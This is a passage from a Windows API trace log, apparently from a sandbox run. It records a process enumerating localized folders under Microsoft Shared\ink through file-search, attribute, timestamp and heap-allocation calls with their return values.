nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0047.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e508 [0047.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ec88 [0047.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.940] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.940] GetLastError () returned 0x12 [0047.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0047.940] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0047.940] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.940] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.940] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.940] GetLastError () returned 0x12 [0047.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.940] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0047.940] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.941] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0047.941] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0047.941] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0047.941] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0047.941] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0047.941] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf90958 [0047.941] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf90958, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf90958, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0047.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf90958) returned 1 [0047.941] NtClose (Handle=0x184) returned 0x0 [0047.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.941] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.941] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.941] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.941] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0047.941] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.942] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0047.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e528 [0047.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ed90 [0047.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.942] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.942] GetLastError () returned 0x12 [0047.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0047.942] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.942] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.942] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.942] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.942] GetLastError () returned 0x12 [0047.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.942] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0047.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0047.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.942] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0047.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.942] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0047.943] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0047.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf90958 [0047.943] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf90958, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf90958, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0047.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf90958) returned 1 [0047.943] NtClose (Handle=0x188) returned 0x0 [0047.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.943] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0047.943] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.943] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0047.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e548 [0047.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ee98 [0047.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.944] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.944] GetLastError () returned 0x12 [0047.944] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0047.944] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0047.944] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.944] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.944] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.944] GetLastError () returned 0x12 [0047.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.944] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0047.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.944] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0047.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0047.953] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0047.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf90958 [0047.953] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf90958, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf90958, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0047.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf90958) returned 1 [0047.953] NtClose (Handle=0x184) returned 0x0 [0047.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.953] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0047.953] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.953] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0047.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e568 [0047.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8efa0 